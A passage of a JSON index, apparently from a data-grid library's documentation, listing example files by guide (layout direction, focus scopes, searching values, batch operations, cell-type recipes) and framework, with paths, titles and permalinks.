"guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example3", - "exampleTitle": "Set the layout direction to RTL", - "docPermalink": "/layout-direction", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/internationalization/layout-direction/react/example3.tsx", - "file": "guides__internationalization__layout-direction__react__example3.tsx.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example3", - "exampleTitle": "Set the layout direction to RTL", - "docPermalink": "/layout-direction", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/internationalization/layout-direction/javascript/example3.ts", - "file": "guides__internationalization__layout-direction__javascript__example3.ts.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example3", - "exampleTitle": "Set the layout direction to RTL", - "docPermalink": "/layout-direction", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/internationalization/layout-direction/vue/example3.vue", - "file": "guides__internationalization__layout-direction__vue__example3.vue.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example3", - "exampleTitle": "Set the layout direction to RTL", - "docPermalink": "/layout-direction", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/internationalization/layout-direction/angular/example4.ts", - "file": "guides__internationalization__layout-direction__angular__example4.ts.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example4", - "exampleTitle": "Set the layout direction to LTR", - "docPermalink": "/layout-direction", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/internationalization/layout-direction/javascript/example4.js", - "file": "guides__internationalization__layout-direction__javascript__example4.js.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example4", - "exampleTitle": "Set the layout direction to LTR", - "docPermalink": "/layout-direction", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/internationalization/layout-direction/react/example4.tsx", - "file": "guides__internationalization__layout-direction__react__example4.tsx.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example4", - "exampleTitle": "Set the layout direction to LTR", - "docPermalink": "/layout-direction", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/internationalization/layout-direction/javascript/example4.ts", - "file": "guides__internationalization__layout-direction__javascript__example4.ts.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example4", - "exampleTitle": "Set the layout direction to LTR", - "docPermalink": "/layout-direction", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/internationalization/layout-direction/vue/example4.vue", - "file": "guides__internationalization__layout-direction__vue__example4.vue.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example4", - "exampleTitle": "Set the layout direction to LTR", - "docPermalink": "/layout-direction", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/internationalization/layout-direction/angular/example5.ts", - "file": "guides__internationalization__layout-direction__angular__example5.ts.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example5", - "exampleTitle": "Set the horizontal text alignment", - "docPermalink": "/layout-direction", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/internationalization/layout-direction/javascript/example5.js", - "file": "guides__internationalization__layout-direction__javascript__example5.js.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example5", - "exampleTitle": "Set the horizontal text alignment", - "docPermalink": "/layout-direction", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/internationalization/layout-direction/react/example5.tsx", - "file": "guides__internationalization__layout-direction__react__example5.tsx.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example5", - "exampleTitle": "Set the horizontal text alignment", - "docPermalink": "/layout-direction", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/internationalization/layout-direction/javascript/example5.ts", - "file": "guides__internationalization__layout-direction__javascript__example5.ts.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example5", - "exampleTitle": "Set the horizontal text alignment", - "docPermalink": "/layout-direction", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/internationalization/layout-direction/vue/example5.vue", - "file": "guides__internationalization__layout-direction__vue__example5.vue.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example5", - "exampleTitle": "Set the horizontal text alignment", - "docPermalink": "/layout-direction", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/navigation/custom-shortcuts/angular/example1.ts", - "file": "guides__navigation__custom-shortcuts__angular__example1.ts.json", - "breadcrumb": [ - "Navigation", - "Custom shortcuts" - ], - "guide": "guides/navigation/custom-shortcuts/custom-shortcuts.md", - "guideTitle": "Custom shortcuts", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/custom-shortcuts", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/navigation/custom-shortcuts/javascript/example1.js", - "file": "guides__navigation__custom-shortcuts__javascript__example1.js.json", - "breadcrumb": [ - "Navigation", - "Custom shortcuts" - ], - "guide": "guides/navigation/custom-shortcuts/custom-shortcuts.md", - "guideTitle": "Custom shortcuts", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/custom-shortcuts", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/navigation/custom-shortcuts/react/example1.tsx", - "file": "guides__navigation__custom-shortcuts__react__example1.tsx.json", - "breadcrumb": [ - "Navigation", - "Custom shortcuts" - ], - "guide": "guides/navigation/custom-shortcuts/custom-shortcuts.md", - "guideTitle": "Custom shortcuts", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/custom-shortcuts", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/navigation/custom-shortcuts/javascript/example1.ts", - "file": "guides__navigation__custom-shortcuts__javascript__example1.ts.json", - "breadcrumb": [ - "Navigation", - "Custom shortcuts" - ], - "guide": "guides/navigation/custom-shortcuts/custom-shortcuts.md", - "guideTitle": "Custom shortcuts", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/custom-shortcuts", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/navigation/custom-shortcuts/vue/example1.vue", - "file": "guides__navigation__custom-shortcuts__vue__example1.vue.json", - "breadcrumb": [ - "Navigation", - "Custom shortcuts" - ], - "guide": "guides/navigation/custom-shortcuts/custom-shortcuts.md", - "guideTitle": "Custom shortcuts", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/custom-shortcuts", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/navigation/focus-scopes/angular/example1.ts", - "file": "guides__navigation__focus-scopes__angular__example1.ts.json", - "breadcrumb": [ - "Navigation", - "Focus scopes" - ], - "guide": "guides/navigation/focus-scopes/focus-scopes.md", - "guideTitle": "Focus scopes", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/focus-scopes", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/navigation/focus-scopes/javascript/example1.js", - "file": "guides__navigation__focus-scopes__javascript__example1.js.json", - "breadcrumb": [ - "Navigation", - "Focus scopes" - ], - "guide": "guides/navigation/focus-scopes/focus-scopes.md", - "guideTitle": "Focus scopes", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/focus-scopes", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/navigation/focus-scopes/react/example1.tsx", - "file": "guides__navigation__focus-scopes__react__example1.tsx.json", - "breadcrumb": [ - "Navigation", - "Focus scopes" - ], - "guide": "guides/navigation/focus-scopes/focus-scopes.md", - "guideTitle": "Focus scopes", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/focus-scopes", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/navigation/focus-scopes/javascript/example1.ts", - "file": "guides__navigation__focus-scopes__javascript__example1.ts.json", - "breadcrumb": [ - "Navigation", - "Focus scopes" - ], - "guide": "guides/navigation/focus-scopes/focus-scopes.md", - "guideTitle": "Focus scopes", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/focus-scopes", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/navigation/focus-scopes/vue/example1.vue", - "file": "guides__navigation__focus-scopes__vue__example1.vue.json", - "breadcrumb": [ - "Navigation", - "Focus scopes" - ], - "guide": "guides/navigation/focus-scopes/focus-scopes.md", - "guideTitle": "Focus scopes", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/focus-scopes", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/navigation/focus-scopes/angular/example2.ts", - "file": "guides__navigation__focus-scopes__angular__example2.ts.json", - "breadcrumb": [ - "Navigation", - "Focus scopes" - ], - "guide": "guides/navigation/focus-scopes/focus-scopes.md", - "guideTitle": "Focus scopes", - "exampleId": "example2", - "exampleTitle": "Modal scopes", - "docPermalink": "/focus-scopes", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/navigation/focus-scopes/javascript/example2.js", - "file": "guides__navigation__focus-scopes__javascript__example2.js.json", - "breadcrumb": [ - "Navigation", - "Focus scopes" - ], - "guide": "guides/navigation/focus-scopes/focus-scopes.md", - "guideTitle": "Focus scopes", - "exampleId": "example2", - "exampleTitle": "Modal scopes", - "docPermalink": "/focus-scopes", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/navigation/focus-scopes/react/example2.tsx", - "file": "guides__navigation__focus-scopes__react__example2.tsx.json", - "breadcrumb": [ - "Navigation", - "Focus scopes" - ], - "guide": "guides/navigation/focus-scopes/focus-scopes.md", - "guideTitle": "Focus scopes", - "exampleId": "example2", - "exampleTitle": "Modal scopes", - "docPermalink": "/focus-scopes", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/navigation/focus-scopes/javascript/example2.ts", - "file": "guides__navigation__focus-scopes__javascript__example2.ts.json", - "breadcrumb": [ - "Navigation", - "Focus scopes" - ], - "guide": "guides/navigation/focus-scopes/focus-scopes.md", - "guideTitle": "Focus scopes", - "exampleId": "example2", - "exampleTitle": "Modal scopes", - "docPermalink": "/focus-scopes", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/navigation/focus-scopes/vue/example2.vue", - "file": "guides__navigation__focus-scopes__vue__example2.vue.json", - "breadcrumb": [ - "Navigation", - "Focus scopes" - ], - "guide": "guides/navigation/focus-scopes/focus-scopes.md", - "guideTitle": "Focus scopes", - "exampleId": "example2", - "exampleTitle": "Modal scopes", - "docPermalink": "/focus-scopes", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/navigation/searching-values/angular/example1.ts", - "file": "guides__navigation__searching-values__angular__example1.ts.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/searching-values", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/navigation/searching-values/javascript/example1.js", - "file": "guides__navigation__searching-values__javascript__example1.js.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/searching-values", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/navigation/searching-values/react/example1.tsx", - "file": "guides__navigation__searching-values__react__example1.tsx.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/searching-values", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/navigation/searching-values/javascript/example1.ts", - "file": "guides__navigation__searching-values__javascript__example1.ts.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/searching-values", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/navigation/searching-values/vue/example1.vue", - "file": "guides__navigation__searching-values__vue__example1.vue.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/searching-values", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/navigation/searching-values/angular/example2.ts", - "file": "guides__navigation__searching-values__angular__example2.ts.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example2", - "exampleTitle": "Custom search result class", - "docPermalink": "/searching-values", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/navigation/searching-values/javascript/example2.js", - "file": "guides__navigation__searching-values__javascript__example2.js.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example2", - "exampleTitle": "Custom search result class", - "docPermalink": "/searching-values", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/navigation/searching-values/react/example2.tsx", - "file": "guides__navigation__searching-values__react__example2.tsx.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example2", - "exampleTitle": "Custom search result class", - "docPermalink": "/searching-values", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/navigation/searching-values/javascript/example2.ts", - "file": "guides__navigation__searching-values__javascript__example2.ts.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example2", - "exampleTitle": "Custom search result class", - "docPermalink": "/searching-values", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/navigation/searching-values/vue/example2.vue", - "file": "guides__navigation__searching-values__vue__example2.vue.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example2", - "exampleTitle": "Custom search result class", - "docPermalink": "/searching-values", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/navigation/searching-values/angular/example3.ts", - "file": "guides__navigation__searching-values__angular__example3.ts.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example3", - "exampleTitle": "Custom query method", - "docPermalink": "/searching-values", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/navigation/searching-values/javascript/example3.js", - "file": "guides__navigation__searching-values__javascript__example3.js.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example3", - "exampleTitle": "Custom query method", - "docPermalink": "/searching-values", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/navigation/searching-values/react/example3.tsx", - "file": "guides__navigation__searching-values__react__example3.tsx.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example3", - "exampleTitle": "Custom query method", - "docPermalink": "/searching-values", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/navigation/searching-values/javascript/example3.ts", - "file": "guides__navigation__searching-values__javascript__example3.ts.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example3", - "exampleTitle": "Custom query method", - "docPermalink": "/searching-values", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/navigation/searching-values/vue/example3.vue", - "file": "guides__navigation__searching-values__vue__example3.vue.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example3", - "exampleTitle": "Custom query method", - "docPermalink": "/searching-values", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/navigation/searching-values/angular/example4.ts", - "file": "guides__navigation__searching-values__angular__example4.ts.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example4", - "exampleTitle": "Custom callback", - "docPermalink": "/searching-values", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/navigation/searching-values/javascript/example4.js", - "file": "guides__navigation__searching-values__javascript__example4.js.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example4", - "exampleTitle": "Custom callback", - "docPermalink": "/searching-values", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/navigation/searching-values/react/example4.tsx", - "file": "guides__navigation__searching-values__react__example4.tsx.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example4", - "exampleTitle": "Custom callback", - "docPermalink": "/searching-values", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/navigation/searching-values/javascript/example4.ts", - "file": "guides__navigation__searching-values__javascript__example4.ts.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example4", - "exampleTitle": "Custom callback", - "docPermalink": "/searching-values", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/navigation/searching-values/vue/example4.vue", - "file": "guides__navigation__searching-values__vue__example4.vue.json", - "breadcrumb": [ - "Navigation", - "Searching values" - ], - "guide": "guides/navigation/searching-values/searching-values.md", - "guideTitle": "Searching values", - "exampleId": "example4", - "exampleTitle": "Custom callback", - "docPermalink": "/searching-values", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/optimization/batch-operations/angular/example1.ts", - "file": "guides__optimization__batch-operations__angular__example1.ts.json", - "breadcrumb": [ - "Optimization", - "Batch operations" - ], - "guide": "guides/optimization/batch-operations/batch-operations.md", - "guideTitle": "Batch operations", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/batch-operations", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/optimization/batch-operations/javascript/example1.js", - "file": "guides__optimization__batch-operations__javascript__example1.js.json", - "breadcrumb": [ - "Optimization", - "Batch operations" - ], - "guide": "guides/optimization/batch-operations/batch-operations.md", - "guideTitle": "Batch operations", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/batch-operations", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/optimization/batch-operations/react/example1.tsx", - "file": "guides__optimization__batch-operations__react__example1.tsx.json", - "breadcrumb": [ - "Optimization", - "Batch operations" - ], - "guide": "guides/optimization/batch-operations/batch-operations.md", - "guideTitle": "Batch operations", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/batch-operations", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/optimization/batch-operations/javascript/example1.ts", - "file": "guides__optimization__batch-operations__javascript__example1.ts.json", - "breadcrumb": [ - "Optimization", - "Batch operations" - ], - "guide": "guides/optimization/batch-operations/batch-operations.md", - "guideTitle": "Batch operations", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/batch-operations", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/optimization/batch-operations/vue/example1.vue", - "file": "guides__optimization__batch-operations__vue__example1.vue.json", - "breadcrumb": [ - "Optimization", - "Batch operations" - ], - "guide": "guides/optimization/batch-operations/batch-operations.md", - "guideTitle": "Batch operations", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/batch-operations", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "recipes/accessibility/aria-grid/angular/example1.ts", - "file": "recipes__accessibility__aria-grid__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Accessibility", - "ARIA-friendly grid" - ], - "guide": "recipes/accessibility/aria-grid/aria-grid.md", - "guideTitle": "ARIA-friendly grid", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/accessibility/aria-grid", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/accessibility/aria-grid/javascript/example1.js", - "file": "recipes__accessibility__aria-grid__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Accessibility", - "ARIA-friendly grid" - ], - "guide": "recipes/accessibility/aria-grid/aria-grid.md", - "guideTitle": "ARIA-friendly grid", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/accessibility/aria-grid", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/accessibility/aria-grid/react/example1.tsx", - "file": "recipes__accessibility__aria-grid__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Accessibility", - "ARIA-friendly grid" - ], - "guide": "recipes/accessibility/aria-grid/aria-grid.md", - "guideTitle": "ARIA-friendly grid", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/accessibility/aria-grid", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/accessibility/keyboard-shortcuts/angular/example1.ts", - "file": "recipes__accessibility__keyboard-shortcuts__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Accessibility", - "Custom keyboard shortcuts" - ], - "guide": "recipes/accessibility/keyboard-shortcuts/keyboard-shortcuts.md", - "guideTitle": "Custom keyboard shortcuts", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/accessibility/keyboard-shortcuts", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/accessibility/keyboard-shortcuts/javascript/example1.js", - "file": "recipes__accessibility__keyboard-shortcuts__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Accessibility", - "Custom keyboard shortcuts" - ], - "guide": "recipes/accessibility/keyboard-shortcuts/keyboard-shortcuts.md", - "guideTitle": "Custom keyboard shortcuts", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/accessibility/keyboard-shortcuts", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/accessibility/keyboard-shortcuts/react/example1.tsx", - "file": "recipes__accessibility__keyboard-shortcuts__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Accessibility", - "Custom keyboard shortcuts" - ], - "guide": "recipes/accessibility/keyboard-shortcuts/keyboard-shortcuts.md", - "guideTitle": "Custom keyboard shortcuts", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/accessibility/keyboard-shortcuts", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/cell-types/color-picker/angular/example1.ts", - "file": "recipes__cell-types__color-picker__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Color picker" - ], - "guide": "recipes/cell-types/color-picker/color-picker.md", - "guideTitle": "Color picker", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/color-picker", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/cell-types/guide-color-picker-angular/angular/example1.ts", - "file": "recipes__cell-types__guide-color-picker-angular__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Color picker" - ], - "guide": "recipes/cell-types/guide-color-picker-angular/guide-color-picker.md", - "guideTitle": "Color picker", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/color-picker-angular", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/cell-types/color-picker/javascript/example1.js", - "file": "recipes__cell-types__color-picker__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Color picker" - ], - "guide": "recipes/cell-types/color-picker/color-picker.md", - "guideTitle": "Color picker", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/color-picker", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/cell-types/color-picker/react/example1.tsx", - "file": "recipes__cell-types__color-picker__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Color picker" - ], - "guide": "recipes/cell-types/color-picker/color-picker.md", - "guideTitle": "Color picker", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/color-picker", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/cell-types/color-picker/javascript/example1.ts", - "file": "recipes__cell-types__color-picker__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Color picker" - ], - "guide": "recipes/cell-types/color-picker/color-picker.md", - "guideTitle": "Color picker", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/color-picker", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/cell-types/colorful-picker/react/example1.tsx", - "file": "recipes__cell-types__colorful-picker__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Colorful Picker" - ], - "guide": "recipes/cell-types/colorful-picker/colorful-picker.md", - "guideTitle": "Colorful Picker", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/colorful-picker", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/cell-types/guide-datepicker-angular/angular/example1.ts", - "file": "recipes__cell-types__guide-datepicker-angular__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Date picker" - ], - "guide": "recipes/cell-types/guide-datepicker-angular/guide-datepicker.md", - "guideTitle": "Date picker", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/datepicker", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/cell-types/guide-feedback-angular/angular/example1.ts", - "file": "recipes__cell-types__guide-feedback-angular__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Feedback Editor" - ], - "guide": "recipes/cell-types/guide-feedback-angular/guide-feedback.md", - "guideTitle": "Feedback Editor", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/feedback-angular", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/cell-types/feedback/angular/example1.ts", - "file": "recipes__cell-types__feedback__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Feedback" - ], - "guide": "recipes/cell-types/feedback/feedback.md", - "guideTitle": "Feedback", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/feedback", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/cell-types/feedback/javascript/example1.js", - "file": "recipes__cell-types__feedback__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Feedback" - ], - "guide": "recipes/cell-types/feedback/feedback.md", - "guideTitle": "Feedback", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/feedback", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/cell-types/feedback/react/example1.tsx", - "file": "recipes__cell-types__feedback__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Feedback" - ], - "guide": "recipes/cell-types/feedback/feedback.md", - "guideTitle": "Feedback", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/feedback", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/cell-types/feedback-react/react/example1.tsx", - "file": "recipes__cell-types__feedback-react__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Feedback" - ], - "guide": "recipes/cell-types/feedback-react/feedback-react.md", - "guideTitle": "Feedback", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/feedback-react", - "framework": "react", - "displayName": "React (TS)" 